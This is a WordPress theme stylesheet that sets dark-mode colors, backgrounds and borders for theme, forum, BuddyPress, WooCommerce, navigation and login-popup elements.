body.pcdm-enable.pcdark-mode #buddypress input[type=reset],
body.pcdm-enable.pcdark-mode #buddypress input[type=submit],
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,
body.pcdm-enable.pcdark-mode a.bp-title-button,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-header,
body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-forum-header,
body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-topic-header,
body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-reply-header {
    background-color: #252525;
}
body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,
body.pcdm-enable.pcdark-mode #buddypress .generic-button a,
body.pcdm-enable.pcdark-mode #buddypress .standard-form button,
body.pcdm-enable.pcdark-mode #buddypress a.button,
body.pcdm-enable.pcdark-mode #buddypress input[type=button],
body.pcdm-enable.pcdark-mode #buddypress input[type=reset],
body.pcdm-enable.pcdark-mode #buddypress input[type=submit],
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,
body.pcdm-enable.pcdark-mode a.bp-title-button {
    border-color: #252525;
}
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.selected a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.current a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a:hover,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.selected a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.current a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a:hover {
    color: #fff;
}
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li > span {
    border-color: #313131;
}
body.pcdm-enable.pcdark-mode .pcnav-lgroup ul ul {
    background-color: rgba(0, 0, 0, 0.9);
}
body.pcdm-enable.pcdark-mode .wp-caption p.wp-caption-text,
body.pcdm-enable.pcdark-mode .penci-featured-caption {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .lines-button:after,
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:before,
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:after,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-plike,
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title,
body.pcdm-enable.pcdark-mode .pencisc-column-2.penci-video_playlist {
    background: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-video-nav .playlist-panel-item,
body.pcdm-enable.pcdark-mode .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb,
body.pcdm-enable.pcdark-mode .pencisc-button,
body.pcdm-enable.pcdark-mode .post-entry .pencisc-button,
body.pcdm-enable.pcdark-mode .penci-dropcap-box,
body.pcdm-enable.pcdark-mode .penci-dropcap-circle,
body.pcdm-enable.pcdark-mode .penci-login-register input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .penci-ld .penci-ldin:before,
body.pcdm-enable.pcdark-mode .penci-ldspinner > div {
    background: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a:hover,
body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a:hover,
body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li.active a,
body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li.active a,
body.pcdm-enable.pcdark-mode .penci-countdown .countdown-amount,
body.pcdm-enable.pcdark-mode .archive-box h1,
body.pcdm-enable.pcdark-mode .post-entry a,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a:hover,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a:hover,
body.pcdm-enable.pcdark-mode .post-entry blockquote:before,
body.pcdm-enable.pcdark-mode .post-entry blockquote cite,
body.pcdm-enable.pcdark-mode .post-entry blockquote .author,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote:before,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote cite,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote .author,
body.pcdm-enable.pcdark-mode .penci-pagination a:hover,
body.pcdm-enable.pcdark-mode ul.penci-topbar-menu > li a:hover,
body.pcdm-enable.pcdark-mode div.penci-topbar-menu > ul > li a:hover,
body.pcdm-enable.pcdark-mode .penci-recipe-heading a.penci-recipe-print,
body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy,
body.pcdm-enable.pcdark-mode .main-nav-social a:hover,
body.pcdm-enable.pcdark-mode .widget-social .remove-circle a:hover i,
body.pcdm-enable.pcdark-mode .penci-recipe-index .cat > a.penci-cat-name,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-breadcrumb a:hover,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-forum-freshness a:hover,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-topic-freshness a:hover,
body.pcdm-enable.pcdark-mode #buddypress ul.item-list li div.item-title a,
body.pcdm-enable.pcdark-mode #buddypress ul.item-list li h4 a,
body.pcdm-enable.pcdark-mode #buddypress .activity-header a:first-child,
body.pcdm-enable.pcdark-mode #buddypress .comment-meta a:first-child,
body.pcdm-enable.pcdark-mode #buddypress .acomment-meta a:first-child,
body.pcdm-enable.pcdark-mode div.bbp-template-notice a:hover,
body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a .indicator:hover,
body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a:hover,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a:hover,
body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover,
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,
body.pcdm-enable.pcdark-mode .penci_list_shortcode li:before,
body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,
body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline,
body.pcdm-enable.pcdark-mode .penci-dropcap-regular,
body.pcdm-enable.pcdark-mode .penci-dropcap-bold {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-home-popular-post ul.slick-dots li button:hover,
body.pcdm-enable.pcdark-mode .penci-home-popular-post ul.slick-dots li.slick-active button,
body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:after,
body.pcdm-enable.pcdark-mode .error-image:after,
body.pcdm-enable.pcdark-mode .error-404 .go-back-home a:after,
body.pcdm-enable.pcdark-mode .penci-header-signup-form,
body.pcdm-enable.pcdark-mode .woocommerce span.onsale,
body.pcdm-enable.pcdark-mode .woocommerce #respond input#submit:hover,
body.pcdm-enable.pcdark-mode .woocommerce a.button:hover,
body.pcdm-enable.pcdark-mode .woocommerce button.button:hover,
body.pcdm-enable.pcdark-mode .woocommerce input.button:hover,
body.pcdm-enable.pcdark-mode .woocommerce nav.woocommerce-pagination ul li span.current,
body.pcdm-enable.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"]:before,
body.pcdm-enable.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span:after,
body.pcdm-enable.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after,
body.pcdm-enable.pcdark-mode .woocommerce #respond input#submit.alt:hover,
body.pcdm-enable.pcdark-mode .woocommerce a.button.alt:hover,
body.pcdm-enable.pcdark-mode .woocommerce button.button.alt:hover,
body.pcdm-enable.pcdark-mode .woocommerce input.button.alt:hover,
body.pcdm-enable.pcdark-mode .pcheader-icon.shoping-cart-icon > a > span,
body.pcdm-enable.pcdark-mode #penci-demobar .buy-button,
body.pcdm-enable.pcdark-mode #penci-demobar .buy-button:hover,
body.pcdm-enable.pcdark-mode .penci-recipe-heading a.penci-recipe-print:hover,
body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy:hover,
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 ul.menu ul.sub-menu:before,
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu ul ul.sub-menu:before,
body.pcdm-enable.pcdark-mode .penci-go-to-top-floating,
body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote:before,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form .button,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form .button:hover,
body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_reply_submit:hover,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_submit:hover,
body.pcdm-enable.pcdark-mode #main .bbp-login-form .bbp-submit-wrapper button[type="submit"]:hover,
body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=submit],
body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=submit],
body.pcdm-enable.pcdark-mode #buddypress button:hover,
body.pcdm-enable.pcdark-mode #buddypress a.button:hover,
body.pcdm-enable.pcdark-mode #buddypress a.button:focus,
body.pcdm-enable.pcdark-mode #buddypress input[type=button]:hover,
body.pcdm-enable.pcdark-mode #buddypress input[type=reset]:hover,
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a:hover,
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li.current a,
body.pcdm-enable.pcdark-mode #buddypress div.generic-button a:hover,
body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link:hover,
body.pcdm-enable.pcdark-mode #buddypress input[type=submit]:hover,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links .current,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs ul li.selected a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs ul li.current a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs ul li a:hover,
body.pcdm-enable.pcdark-mode #buddypress table.notifications thead tr,
body.pcdm-enable.pcdark-mode #buddypress table.notifications-settings thead tr,
body.pcdm-enable.pcdark-mode #buddypress table.profile-settings thead tr,
body.pcdm-enable.pcdark-mode #buddypress table.profile-fields thead tr,
body.pcdm-enable.pcdark-mode #buddypress table.wp-profile-fields thead tr,
body.pcdm-enable.pcdark-mode #buddypress table.messages-notices thead tr,
body.pcdm-enable.pcdark-mode #buddypress table.forum thead tr,
body.pcdm-enable.pcdark-mode #buddypress input[type=submit] {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce nav.woocommerce-pagination ul li span.current {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span.current,
body.pcdm-enable.pcdark-mode #comments_pagination span {
    color: var(--pctext-cl);
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title > span:before,
body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span.current,
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover,
body.pcdm-enable.pcdark-mode .penci-recipe-heading a.penci-recipe-print:hover,
body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy:hover,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .magcat-padding:before,
body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,
body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=submit],
body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=submit],
body.pcdm-enable.pcdark-mode #buddypress button:hover,
body.pcdm-enable.pcdark-mode #buddypress a.button:hover,
body.pcdm-enable.pcdark-mode #buddypress a.button:focus,
body.pcdm-enable.pcdark-mode #buddypress input[type=button]:hover,
body.pcdm-enable.pcdark-mode #buddypress input[type=reset]:hover,
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a:hover,
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li.current a,
body.pcdm-enable.pcdark-mode #buddypress div.generic-button a:hover,
body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link:hover,
body.pcdm-enable.pcdark-mode #buddypress input[type=submit]:hover,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links .current,
body.pcdm-enable.pcdark-mode #buddypress input[type=submit],
body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:hover,
body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:focus,
body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,
body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-error,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message {
    border-top-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a.penci-active,
body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a:hover,
body.pcdm-enable.pcdark-mode .penci-related-carousel .penci-owl-dot.active span,
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot.active span {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message:before,
body.pcdm-enable.pcdark-mode.woocommerce form.checkout table.shop_table .order-total .amount,
body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price ins,
body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price,
body.pcdm-enable.pcdark-mode.woocommerce div.product p.price ins,
body.pcdm-enable.pcdark-mode.woocommerce div.product span.price ins,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description blockquote:before,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] blockquote cite,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description blockquote cite,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author,
body.pcdm-enable.pcdark-mode.woocommerce div.product .product_meta > span a:hover,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs li.active,
body.pcdm-enable.pcdark-mode.woocommerce ul.cart_list li .amount,
body.pcdm-enable.pcdark-mode.woocommerce ul.product_list_widget li .amount,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-name a:hover,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-price span,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-subtotal span,
body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals table td .amount,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info:before,
body.pcdm-enable.pcdark-mode.woocommerce div.product span.price,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a:hover,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode.woocommerce div.product p.price {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .standard-content .penci-more-link.penci-more-link-button a.more-link,
body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a,
body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a {
    background-color: var(--pcbg-cl);
    color: #fff;
}
body.pcdm-enable.pcdark-mode .penci-vernav-toggle:before {
    border-top-color: var(--pcborder-cl);
    color: #fff;
}
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb i,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb i,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination a,
body.pcdm-enable.pcdark-mode .penci-pagination .disable-url,
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span,
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,
body.pcdm-enable.pcdark-mode #comments_pagination span,
body.pcdm-enable.pcdark-mode #comments_pagination a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button {
    color: var(--pctext-cl);
    border-color: var(--pcborder-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .archive-box span {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .archive-box h1 {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .summary.entry-summary .woocommerce-accordion.wc-accordion-wrapper,
body.pcdm-enable.pcdark-mode .penci_header_overlap .penci-desktop-bottombar,
body.pcdm-enable.pcdark-mode .penci-desktop-bottombar {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-top-bar,
body.pcdm-enable.pcdark-mode .penci-topbar-trending .penci-owl-carousel .owl-item,
body.pcdm-enable.pcdark-mode ul.penci-topbar-menu ul.sub-menu,
body.pcdm-enable.pcdark-mode div.penci-topbar-menu > ul ul.sub-menu,
body.pcdm-enable.pcdark-mode .pctopbar-login-btn .pclogin-sub,
body.pcdm-enable.pcdark-mode .woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button,
body.pcdm-enable.pcdark-mode .penci-topbar-trending .penci-owl-carousel .owl-item {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .headline-title.nticker-style-3:after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .headline-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev,
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next,
body.pcdm-enable.pcdark-mode .penci-trending-nav a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev:hover,
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next:hover,
body.pcdm-enable.pcdark-mode .penci-trending-nav a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode a.penci-topbar-post-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode a.penci-topbar-post-title:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-headline .pctopbar-item {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode ul.penci-topbar-menu > li a,
body.pcdm-enable.pcdark-mode div.penci-topbar-menu > ul > li a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode ul.penci-topbar-menu ul.sub-menu,
div.penci-topbar-menu > ul ul.sub-menu {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode ul.penci-topbar-menu > li a:hover,
body.pcdm-enable.pcdark-mode div.penci-topbar-menu > ul > li a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode ul.penci-topbar-menu ul.sub-menu li a,
body.pcdm-enable.pcdark-mode div.penci-topbar-menu > ul ul.sub-menu li a,
body.pcdm-enable.pcdark-mode ul.penci-topbar-menu > li > ul.sub-menu > li:first-child,
body.pcdm-enable.pcdark-mode div.penci-topbar-menu > ul > li > ul.sub-menu > li:first-child {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-topbar-social a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-topbar-social a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-topbar-social .pctopbar-login-btn a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-topbar-social .pctopbar-login-btn a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-ld .penci-ldin:before {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup,
body.pcdm-enable.pcdark-mode #penci-login-popup:before,
body.pcdm-enable.pcdark-mode #penci-login-popup.ajax-loading:before {
    background: linear-gradient(135deg, var(--pcbg-cl) 0%, var(--pcbg-cl) 100%);
}
body.pcdm-enable.pcdark-mode .mfp-close-btn-in #penci-login-popup .mfp-close {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-lgpop-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="text"],
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="password"],
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="email"] {
    color: var(--pctext-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="text"]::-webkit-input-placeholder,
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="password"]::-webkit-input-placeholder,
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="email"]::-webkit-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="text"]::-ms-input-placeholder,
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="password"]::-ms-input-placeholder,
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="email"]::-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="text"]::placeholder,
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="password"]::placeholder,
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="email"]::placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="submit"] {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type="submit"]:hover {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup,
body.pcdm-enable.pcdark-mode #penci-login-popup p:not(.message) {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #penci-login-popup a,
#penci-login-popup a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation.header-1,
body.pcdm-enable.pcdark-mode #navigation.header-4,
body.pcdm-enable.pcdark-mode #navigation.header-7 {
    border-bottom-color: rgba(255, 255, 255, 0.1) !important
}
body.pcdm-enable.pcdark-mode .header-header-1.has-bottom-line,
body.pcdm-enable.pcdark-mode .header-header-4.has-bottom-line,
body.pcdm-enable.pcdark-mode .header-header-7.has-bottom-line {
    border-bottom-color: rgba(255, 255, 255, 0.1) !important
}
body.pcdm-enable.pcdark-mode #navigation,
body.pcdm-enable.pcdark-mode #navigation.header-layout-bottom {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu > li > a,
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu > li > a:hover,
body.pcdm-enable.pcdark-mode #navigation .menu li.current-menu-item > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li:hover > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode #navigation .menu > li.current-menu-item > a,
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a:hover,
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li.current-menu-item > a,
body.pcdm-enable.pcdark-mode #navigation .sub-menu li:hover > a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation ul.menu > li > a:before,
body.pcdm-enable.pcdark-mode #navigation .menu > ul > li > a:before {
    background: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu > li > a:hover,
body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu > li:hover > a,
body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu > li.current-menu-item > a,
body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu > li.current_page_item > a,
body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu > li.current-menu-ancestor > a,
body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu > li.current-menu-item > a {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu,
body.pcdm-enable.pcdark-mode #navigation .menu .children,
body.pcdm-enable.pcdark-mode #navigation ul.menu > li.megamenu > ul.sub-menu {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu,
body.pcdm-enable.pcdark-mode #navigation .menu .children,
body.pcdm-enable.pcdark-mode #navigation ul.menu ul.sub-menu li > a,
body.pcdm-enable.pcdark-mode #navigation .menu ul ul.sub-menu li a,
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu .sub-menu,
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu .children {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active {
    border-top-color: var(--pcborder-cl);
    border-bottom-color: var(--pcborder-cl);
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode #navigation ul.menu > li.megamenu > ul.sub-menu > li:before,
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropdown-menu {
    border-color: var(--pcborder-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu,
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories,
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-date {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after,
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before,
body.pcdm-enable.pcdark-mode .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name {
    background: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
body.pcdm-enable.pcdark-mode #navigation .menu .penci-megamenu .penci-mega-child-categories a:hover,
body.pcdm-enable.pcdark-mode #navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .header-slogan .header-slogan-text {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-slogan .header-slogan-text:before,
body.pcdm-enable.pcdark-mode .header-slogan .header-slogan-text:after {
    background: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a:hover,
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li.current-menu-item > a,
body.pcdm-enable.pcdark-mode #navigation .sub-menu li:hover > a {
    color: var(--pcaccent-cl);
}
